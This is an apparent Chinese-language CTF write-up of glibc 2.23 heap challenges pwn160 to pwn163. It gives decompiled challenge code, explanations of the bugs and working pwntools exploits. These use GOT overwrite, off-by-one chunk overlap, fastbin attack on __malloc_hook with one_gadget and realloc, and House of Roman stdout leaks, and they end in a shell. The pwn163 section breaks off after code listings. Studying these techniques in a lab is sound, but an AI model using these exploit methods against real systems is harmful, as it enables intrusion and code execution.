堆利用pwn160-(持续更新中)
pwn160
Hint : Heap_Overflow ~
2.23的堆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| void __cdecl __noreturn main(int a1) { int v1; int v2[4];
v2[2] = &a1; v2[1] = __readgsdword(0x14u); init(); logo(); while ( 1 ) { menu(); if ( __isoc99_scanf("%d", &v1) == -1 ) break; if ( !v1 ) { printf("size of description: "); __isoc99_scanf("%u%c", v2); add_user(v2[0]); } if ( v1 == 1 ) { printf("index: "); __isoc99_scanf("%d", v2); delete_user(LOBYTE(v2[0])); } if ( v1 == 2 ) { printf("index: "); __isoc99_scanf("%d", v2); display_user(LOBYTE(v2[0])); } if ( v1 == 3 ) { printf("index: "); __isoc99_scanf("%d", v2); get_content(LOBYTE(v2[0])); } if ( v1 == 4 ) { puts("Bye"); exit(0); } if ( user_count > 0x31u ) { puts("MAX,see you~"); exit(0); } } exit(1); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| _DWORD *__cdecl add_user(size_t a1) { _DWORD *result; void *s; _DWORD *v3; unsigned int v4;
v4 = __readgsdword(0x14u); s = malloc(a1); memset(s, 0, a1); v3 = malloc(0x80u); memset(v3, 0, 0x80u); *v3 = s; heaparray[user_count] = v3; printf("name: "); get_input(heaparray[user_count] + 4, 124); get_content(user_count++); result = v3; if ( __readgsdword(0x14u) != v4 ) exit666(); return result; }
unsigned int __cdecl get_content(unsigned __int8 a1) { unsigned int result; int v2; unsigned int v3;
v3 = __readgsdword(0x14u); if ( a1 < user_count && heaparray[a1] ) { v2 = 0; printf("text length: "); __isoc99_scanf("%u%c", &v2); if ( *heaparray[a1] + v2 >= (heaparray[a1] - 4) ) { puts("Wtf?"); exit(1); } printf("text: "); get_input(*heaparray[a1], v2 + 1); } result = __readgsdword(0x14u) ^ v3; if ( result ) exit666(); return result; }
unsigned int __cdecl get_input(char *a1, int a2) { unsigned int result; char *v3; unsigned int v4;
v4 = __readgsdword(0x14u); fgets(a1, a2, stdin); v3 = strchr(a1, 10); if ( v3 ) *v3 = 0; result = __readgsdword(0x14u) ^ v4; if ( result ) exit666(); return result; }
|
*descrption |
name |
name |
name |
name |
name |
… |
name |
0x80堆大概长这样,0x80大小的堆前4位是descrption的指针,指向自己分配大小的堆,剩下0x7c都是name
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| unsigned int __cdecl delete_user(unsigned __int8 a1) { unsigned int result; unsigned int v2;
v2 = __readgsdword(0x14u); if ( a1 < user_count && heaparray[a1] ) { free(*heaparray[a1]); free(heaparray[a1]); heaparray[a1] = 0; } result = __readgsdword(0x14u) ^ v2; if ( result ) exit666(); return result; }
|
将0x80大小的chunk的descrption指针置零了,descrption内部在分配的时候会memset 0,没有uaf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| unsigned int __cdecl display_user(unsigned __int8 a1) { unsigned int result; unsigned int v2;
v2 = __readgsdword(0x14u); if ( a1 < user_count && heaparray[a1] ) { printf("name: %s\n", heaparray[a1] + 4); printf("description: %s\n", *heaparray[a1]); } result = __readgsdword(0x14u) ^ v2; if ( result ) exit666(); return result; }
|
get_content就是update
并且由于desc堆是先分配的,所以如果我们分配0x8的desc,会这么排布:

而get_content中的第二个检查就是检测desc到0x80堆块的距离,如果desc堆的地址+你输入的text_length(add_user中有三个要求你输入的:desc_size,text_length,desc_content(也就是text))没有到达0x80堆的地址,检测就可以通过
那么只需要让desc_chunk和对应的0x80chunk分开(中间夹几个堆),就可以造成堆溢出
比如我们创建3个堆
1 2 3
| add_user(0x80, 0x80, b'bit') add_user(0x80, 0x80, b'bit') add_user(0x8, 0x8, b'/bin/sh\x00')
|
然后把chunk0 free掉,这样会得到一个0x80+0x80=0x110的chunk,我们再add一个0x100的chunk,将这个合并的chunk申请出来


分开之后就随便溢出了,将下一个chunk的0x80chunk(0x9e8b198)的desc指针改为free@got,display_user泄露libc,update修改free@got为system然后free chunk2就完了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| def add_user(size, length, text): io.sendlineafter(b'Action: ', b'0') io.sendlineafter(b'description: ', str(size)) io.sendlineafter(b'name: ', b'nmsl') io.sendlineafter(b'length: ', str(length)) io.sendlineafter(b'text: ', text)
def delete_user(index): io.sendlineafter(b'Action: ', b'1') io.sendlineafter(b'index: ', str(index))
def display_user(index): io.sendlineafter(b'Action: ', b'2') io.sendlineafter(b'index: ', str(index))
def update(index, length, text): io.sendlineafter(b'Action: ', b'3') io.sendlineafter(b'index: ', str(index)) io.sendlineafter(b'length: ', str(length)) io.sendlineafter(b'text: ', text)
add_user(0x80, 0x80, b'bit') add_user(0x80, 0x80, b'bit') add_user(0x8, 0x8, b'/bin/sh\x00')
delete_user(0) payload = b'a' * 0x198 + p32(elf.got['printf']) add_user(0x100, 0x19c, payload) display_user(1) ru(b'description: ') free_addr = u32(r(4)) lg("free_addr")
libc_base = free_addr - libc.sym['free'] lg("libc_base") system = libc_base + libc.sym['system'] update(1, 4, p32(system)) delete_user(2) sl(b"cat flag")
|
pwn161
Hint : Just do it !
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| __int64 add() { __int64 result; int i; unsigned int v2; int v3; void *v4;
result = 0LL; for ( i = 0; i <= 15; ++i ) { result = *(&heaparray_inuse + 4 * i); if ( !result ) { printf("size: "); v3 = get_read(v2); if ( v3 > 0 ) { if ( v3 > 0x1000 ) v3 = 0x1000; v4 = calloc(v3, 1uLL); if ( !v4 ) exit(-1); *(&heaparray_inuse + 4 * i) = 1; *(&heaparray_size + 4 * i) = v3; heaparray_heap[2 * i] = v4; printf("the index of ticket is %d \n", i); } return i; } } return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| __int64 edit() { int v1; unsigned int v2; unsigned int v3; unsigned int v4;
printf("index: "); v2 = get_read(v1); v3 = v2; if ( v2 <= 0xF ) { v2 = *(&heaparray_inuse + 4 * v2); if ( v2 == 1 ) { printf("size: "); v2 = get_read(1); v4 = stange_cmp(*(&heaparray_size + 4 * v3), v2); if ( v2 > 0 ) { printf("content: "); return get_content(heaparray_heap[2 * v3], v4); } } } return v2; }
__int64 __fastcall stange_cmp(int a1, unsigned int a2) { __int64 result;
if ( a1 > a2 ) return a2; if ( a2 - a1 == 10 ) LODWORD(result) = a1 + 1; else LODWORD(result) = a1; return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| __int64 free666() { int v0; int v2; int v3; __int64 v4;
printf("index: "); v0 = get_read(v3); v4 = v0; v2 = v0; if ( v0 <= 0xF ) { v4 = *(&heaparray_inuse + 4 * v0); if ( v4 == 1 ) { *(&heaparray_inuse + 4 * v0) = 0; *(&heaparray_size + 4 * v0) = 0; free(heaparray_heap[2 * v0]); heaparray_heap[2 * v2] = 0LL; } } return v4; }
|
思路:主要看这个stange_cmp,当edit大小比申请大小多10时多写一位,造成off_by_one,假如我们申请0x?8大小的堆,其最后8位用的是下一个堆的prev_size,这样我们可以通过off_by_one来将下一个chunk的size改大造成堆重叠,然后free下一个堆,泄露libc,fastbin attack将malloc_hook修改为
但是因为他在add的时候用heaparray_size记录了每个堆的大小,所以我们需要将我们改大的chunk free掉,再通过add伪造的大小( - 0x10) 将这个chunk再申请回来,这样能同时骗过glibc和程序
比如:我们申请0x58和0x40大小的chunk,
1 2 3 4 5 6 7
| Add(0x58) Add(0x40) Add(0x80)
payload = p64(0) * 11 + p8(0x71) Edit(0, payload, (0x58 + 0xa)) Free(1)
|
然后通过刚才说的方法将chunk1的size改为0x71,再free chunk1,这时会出现:

估计是前向合并的时候有检测,学习了一下源码:https://www.cnblogs.com/ichunqiu/p/9766829.html

他会检测上面框中pre_inuse位和这个chunk对应的inuse_bit_at_offset来完成向前合并,那么我们在上面框的位置填一个0x71,让其inuse_bit_at_offset指向top_chunk,就可以完成这个检测
1 2 3 4 5 6 7 8 9
| Add(0x58) Add(0x40) Add(0x80)
payload = p64(0) * 11 + p8(0x71) Edit(0, payload, (0x58 + 0xa)) payload = p64(0) * 3 + p64(0x71) Edit(2, payload, len(payload)) Free(1)
|

成功
接下来,我们把这个free掉的chunk申请出来,他还是会被程序记作chunk 1,然后因为calloc清零了重叠的chunk2,所以要Edit再将chunk2的头补上,不然会报错,再free chunk 2,进unsortedbin泄露出libc的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| Add(0x58) Add(0x40) Add(0x80)
payload = p64(0) * 11 + p8(0x71) Edit(0, payload, (0x58 + 0xa)) payload = p64(0) * 3 + p64(0x71) Edit(2, payload, len(payload)) Free(1) Add(0x60) payload = p64(0) * 9 + p8(0x91) Edit(1, payload, len(payload)) Add(0x80) Free(2) Show(1) ru(b"content: ") main_arena_88 = uu64() malloc_hook = main_arena_88 - 88 - 0x10 libc_base = malloc_hook - libc.sym['__malloc_hook'] lg('libc_base')
|
我们接着利用刚刚的堆重叠,Add(0x60)再free,让chunk 2进fastbins
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| pwndbg> x/64gx 0x559f8deef000 0x559f8deef000: 0x0000000000000000 0x0000000000000061 0x559f8deef010: 0x0000000000000000 0x0000000000000000 0x559f8deef020: 0x0000000000000000 0x0000000000000000 0x559f8deef030: 0x0000000000000000 0x0000000000000000 0x559f8deef040: 0x0000000000000000 0x0000000000000000 0x559f8deef050: 0x0000000000000000 0x0000000000000000 0x559f8deef060: 0x0000000000000000 0x0000000000000071 0x559f8deef070: 0x0000000000000000 0x0000000000000000 0x559f8deef080: 0x0000000000000000 0x0000000000000000 0x559f8deef090: 0x0000000000000000 0x0000000000000000 0x559f8deef0a0: 0x0000000000000000 0x0000000000000000 0x559f8deef0b0: 0x0000000000000000 0x0000000000000091 0x559f8deef0c0: 0x00007f9619bc4b78 0x00007f9619bc4b78 0x559f8deef0d0: 0x0000000000000000 0x0000000000000071 0x559f8deef0e0: 0x0000000000000000 0x0000000000000000 0x559f8deef0f0: 0x0000000000000000 0x0000000000000000 0x559f8deef100: 0x0000000000000000 0x0000000000000000 0x559f8deef110: 0x0000000000000000 0x0000000000000000 0x559f8deef120: 0x0000000000000000 0x0000000000000000 0x559f8deef130: 0x0000000000000000 0x0000000000000000 0x559f8deef140: 0x0000000000000090 0x0000000000000090 0x559f8deef150: 0x0000000000000000 0x0000000000000000 0x559f8deef160: 0x0000000000000000 0x0000000000000000 0x559f8deef170: 0x0000000000000000 0x0000000000000000 0x559f8deef180: 0x0000000000000000 0x0000000000000000 0x559f8deef190: 0x0000000000000000 0x0000000000000000 0x559f8deef1a0: 0x0000000000000000 0x0000000000000000 0x559f8deef1b0: 0x0000000000000000 0x0000000000000000 0x559f8deef1c0: 0x0000000000000000 0x0000000000000000 0x559f8deef1d0: 0x0000000000000000 0x0000000000020e31 0x559f8deef1e0: 0x0000000000000000 0x0000000000000000 0x559f8deef1f0: 0x0000000000000000 0x0000000000000000
# Add(0x60)
pwndbg> x/64gx 0x564ab773c000 0x564ab773c000: 0x0000000000000000 0x0000000000000061 # 0 0x564ab773c010: 0x0000000000000000 0x0000000000000000 0x564ab773c020: 0x0000000000000000 0x0000000000000000 0x564ab773c030: 0x0000000000000000 0x0000000000000000 0x564ab773c040: 0x0000000000000000 0x0000000000000000 0x564ab773c050: 0x0000000000000000 0x0000000000000000 0x564ab773c060: 0x0000000000000000 0x0000000000000071 # 1 0x564ab773c070: 0x0000000000000000 0x0000000000000000 0x564ab773c080: 0x0000000000000000 0x0000000000000000 0x564ab773c090: 0x0000000000000000 0x0000000000000000 0x564ab773c0a0: 0x0000000000000000 0x0000000000000000 0x564ab773c0b0: 0x0000000000000000 0x0000000000000071 # 2 0x564ab773c0c0: 0x0000000000000000 0x0000000000000000 0x564ab773c0d0: 0x0000000000000000 0x0000000000000000 # 原来这里是0x71 0x564ab773c0e0: 0x0000000000000000 0x0000000000000000 0x564ab773c0f0: 0x0000000000000000 0x0000000000000000 0x564ab773c100: 0x0000000000000000 0x0000000000000000 0x564ab773c110: 0x0000000000000000 0x0000000000000000 0x564ab773c120: 0x0000000000000000 0x0000000000000021 # 切割出来的 0x564ab773c130: 0x00007fc7883c4b78 0x00007fc7883c4b78 0x564ab773c140: 0x0000000000000020 0x0000000000000090 # 3 0x564ab773c150: 0x0000000000000000 0x0000000000000000 0x564ab773c160: 0x0000000000000000 0x0000000000000000 0x564ab773c170: 0x0000000000000000 0x0000000000000000 0x564ab773c180: 0x0000000000000000 0x0000000000000000 0x564ab773c190: 0x0000000000000000 0x0000000000000000 0x564ab773c1a0: 0x0000000000000000 0x0000000000000000 0x564ab773c1b0: 0x0000000000000000 0x0000000000000000 0x564ab773c1c0: 0x0000000000000000 0x0000000000000000 0x564ab773c1d0: 0x0000000000000000 0x0000000000020e31 0x564ab773c1e0: 0x0000000000000000 0x0000000000000000 0x564ab773c1f0: 0x0000000000000000 0x0000000000000000
pwndbg> bins fastbins 0x70: 0x564ab773c0b0 ◂— 0x0 unsortedbin all: 0x560598043120 —▸ 0x00007fc7883c4b78 (main_arena+88) ◂— 0x560598043120 smallbins empty largebins empty
|
再覆盖chunk 2的fd为malloc_hook - 0x23,malloc两次把这个fake chunk申请出来,再Edit它就可以把onegg填入
(fastbin 在分配的时候会检查 size 部分是否小于或等于最大的”fastbin”大小,将堆的指针指向malloc_hook - 0x23就能利用这里固定的0x7f来绕过检测)
但是,由于onegg都是有一定条件的,比如我本地的libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL onegg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
|
所以我们需要用realloc调整一下栈,让这些条件满足,我选用0x4527a,直接爆破偏移

原理就是用上面的push压栈,众所周知push一次rsp会-8,所以在进入__realloc_hook之前,就会将栈向下挪几位,然后再进入我们填的onegg,非常幸运,本地填realloc+1一遍就出了
1 2 3 4 5 6 7 8 9 10 11 12 13
| Add(0x60) Free(2) payload = p64(0) * 9 + p64(0x71) + p64(malloc_hook - 0x23) Edit(1, payload, len(payload)) Add(0x60) Add(0x60) payload = b'\x00' * 0xb + p64(onegg) payload += p64(realloc + 1) Edit(4, payload + b'\x00' * 0x10, len(payload) + 0x10)
Add(0x10) sl(b'whoami')
|
远程试了下,+4就出了
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| from pwn import *
io = remote("pwn.challenge.ctf.show", 28207) context(os="linux", arch="amd64")
elf = ELF('./pwn161')
libc = ELF('./libc/libc/64bit/libc-2.23.so')
s = lambda data: io.send(data) sl = lambda data: io.sendline(data) sa = lambda text, data: io.sendafter(text, data) sla = lambda text, data: io.sendlineafter(text, data) r = lambda n: io.recv(n) ru = lambda text: io.recvuntil(text) rl = lambda: io.recvline() uu32 = lambda: u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00')) uu64 = lambda: u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) iuu32 = lambda: int(io.recv(10), 16) iuu64 = lambda: int(io.recv(6), 16) uheap = lambda: u64(io.recv(6).ljust(8, b'\x00')) lg = lambda data: io.success('%s -> 0x%x' % (data, eval(str(data)))) ia = lambda: io.interactive()
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def Add(size): io.sendlineafter(b": ", b'1') io.sendlineafter(b"size: ", str(size).encode())
def Edit(idx, content, length): io.sendlineafter(b": ", b'2') io.sendlineafter(b"index: ", str(idx).encode()) io.sendlineafter(b"size: ", str(length).encode()) io.sendlineafter(b"content: ", content)
def Free(idx): io.sendlineafter(b": ", b'3') io.sendlineafter(b"index: ", str(idx).encode())
def Show(idx): io.sendlineafter(b": ", b'4') io.sendlineafter(b"index: ", str(idx).encode())
Add(0x58) Add(0x40) Add(0x80)
payload = p64(0) * 11 + p8(0x71) Edit(0, payload, (0x58 + 0xa)) payload = p64(0) * 3 + p64(0x71) Edit(2, payload, len(payload)) Free(1) Add(0x60) payload = p64(0) * 9 + p8(0x91) Edit(1, payload, len(payload)) Add(0x80) Free(2) Show(1) ru(b"content: ") main_arena_88 = uu64() malloc_hook = main_arena_88 - 88 - 0x10 libc_base = malloc_hook - libc.sym['__malloc_hook'] system, binsh = get_sb() realloc = libc_base + libc.sym['realloc'] onegg = libc_base + 0xf1147
lg('libc_base')
Add(0x60) Free(2) payload = p64(0) * 9 + p64(0x71) + p64(malloc_hook - 0x23) Edit(1, payload, len(payload)) Add(0x60) Add(0x60) payload = b'\x00' * 0xb + p64(onegg) payload += p64(realloc + 4) Edit(4, payload + b'\x00' * 0x10, len(payload) + 0x10)
Add(0x10) sl(b'whoami')
ia()
|
pwn162
Hint : Ez and not so easy ~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| int Add() { unsigned int size; unsigned int size_4; void *s; void *buf; unsigned __int64 v5;
v5 = __readfsqword(0x28u); s = 0LL; buf = 0LL; size = 0; if ( daniu_array_count > 0x13 ) return puts("Too much!!!"); s = malloc(0x28uLL); memset(s, 0, 0x28uLL); puts("size of the daniu's name: "); __isoc99_scanf("%u", &size); if ( size == -1 ) exit(-1); if ( size <= 0x7F && size ) { buf = malloc(size); if ( !buf ) { puts("Error !!"); exit(-1); } puts("daniu's name:"); read(0, buf, size); *(s + 1) = buf; puts("daniu's message:"); __isoc99_scanf("%23s", s + 16); *s = 1; for ( size_4 = 0; size_4 <= 0x13; ++size_4 ) { if ( !daniu_array1[size_4] ) { daniu_array1[size_4] = s; break; } } ++daniu_array_count; return puts("Added!"); } else { puts("size error!!"); return 0; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| int delete() { unsigned int v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); if ( !daniu_array_count ) return puts("Null!"); puts("daniu's index:"); __isoc99_scanf("%d", &v1); if ( v1 <= 0x13 && *(&daniu_array1 + v1) ) { **(&daniu_array1 + v1) = 0; free(*(*(&daniu_array1 + v1) + 8LL)); return puts("Deleted!"); } else { puts("index error!"); return 0; } }
|
show等价于没有,只打印个大牛
Add函数会分配两个chunk,一个大小为0x28,记作head_chunk,里面放inuse,&name_chunk,msg(msg大小为24,用的%23s读入,没有off_by_null),另一个size自己决定,记作name_chunk,里面放大牛的name
delete里面只delete了name_chunk,并且只将name的前8位置0了,head_chunk动都没动,虚假的delete
思路:因为每次分配都会有一个堆不free,所以很难做到合并,而且又没有off_by漏洞,因为他的head_chunk不free,所以我们可以一直delete,从而构造fastbin atack的double free,将所有能布置的地方都布置为0x71,然后将fastbin的fd低位覆盖为\x20,因为堆一般从低三位000开始分配,所以这样可以分配出chunk 0的head_chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Add(0x60, 14 * p64(0x71)) Add(0x60, 14 * p64(0x71)) Delete(0) Delete(1) Delete(0) Add(0x60, b'\x20') Add(0x60, b'\x20') Add(0x60, b'\x20') Add(0x60, b'\x20') Delete(0) Delete(5) Add(0x60, p64(0) + p64(0x91)) Add(0x20, b'bbbb') Delete(0) Delete(5) Delete(7)
|
通过这个末两位\x20的chunk就可以修改chunk 0的name_chunk的size,改为0x91后,但是因为chunk上面free过一次,所以如果再free的话他会即在fastbins里,又在unsorted bins里
按照0,5,7的顺序free,此时bins长这样:
1 2 3 4 5 6
| pwndbg> bins fastbins 0x30: 0x55b47318d260 ◂— 0x0 0x70: 0x55b47318d020 —▸ 0x55b47318d030 —▸ 0x7f8a689c4b78 (main_arena+88) ◂— 0x55b47318d030 unsortedbin all: 0x55b47318d030 —▸ 0x7f8a689c4b78 (main_arena+88) ◂— 0x55b47318d030
|
1
| Add(0x60, p64(0) + p64(0x71) + b'\xdd' + b'\xe5')
|
wp的再下一句就看不懂了,只能看出来是将上面bins中的0x55b47318d030的fd改为了\xe5\xdd,然后就能泄露出libc,不知道到底是怎么实现的
时隔多日,意外发现这题利用的是House Of Roman这种利用手法,回来补一下payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Delete(7) Add(0x60, b'deadbeef') Delete(7) Add(0x60, b'a' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + b'\x00', msg=b"a", recv=False) recv_info = uu64() libc_base = recv_info - 0x3c5600 malloc_hook = libc_base + libc.sym["__malloc_hook"] onegg = [0x45226, 0x4527a, 0xf03a4, 0xf1247] onegg = libc_base + onegg[3] lga("recv_info") lga("libc_base") lga("malloc_hook") lga("onegg")
|
总之就是将unsortedbin里的main_arena通过爆破半字节的方式覆写到_IO_2_1_stdout_
附近,再将其分配出来,将_IO_2_1_stdout_
中的_IO_write_base的低位覆盖为\x00,这样下次输出的时候就会多输出一些内容,从而泄露libc,很奇妙的一种利用手法
本地通了,远程就不管了
pwn163
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| void __fastcall Create(__int64 a1) { int i; int v2; void *v3;
for ( i = 0; i <= 15; ++i ) { if ( !*(24LL * i + a1) ) { printf("Size: "); v2 = get_int(); if ( v2 > 0 ) { if ( v2 > 0x1000 ) v2 = 0x1000; v3 = calloc(v2, 1uLL); if ( !v3 ) exit(-1); *(24LL * i + a1) = 1; *(a1 + 24LL * i + 8) = v2; *(a1 + 24LL * i + 16) = v3; printf("Createed Index %d\n", i); } return; } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| __int64 __fastcall Edit(__int64 a1) { __int64 result; int v2; int v3;
printf("Index: "); result = get_int(); v2 = result; if ( result <= 0xF ) { result = *(24LL * result + a1); if ( result == 1 ) { printf("Size: "); result = get_int(); v3 = result; if ( result > 0 ) { printf("Content: "); return sub_11B2(*(24LL * v2 + a1 + 16), v3); } } } return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int __fastcall Show(__int64 a1) { int result; int v2;
printf("Index: "); result = get_int(); v2 = result; if ( result <= 0xF ) { result = *(24LL * result + a1); if ( result == 1 ) { puts("Content: "); sub_130F(*(24LL * v2 + a1 + 16), *(24LL * v2 + a1 + 8)); return puts(byte_14F1); } } return result; }
|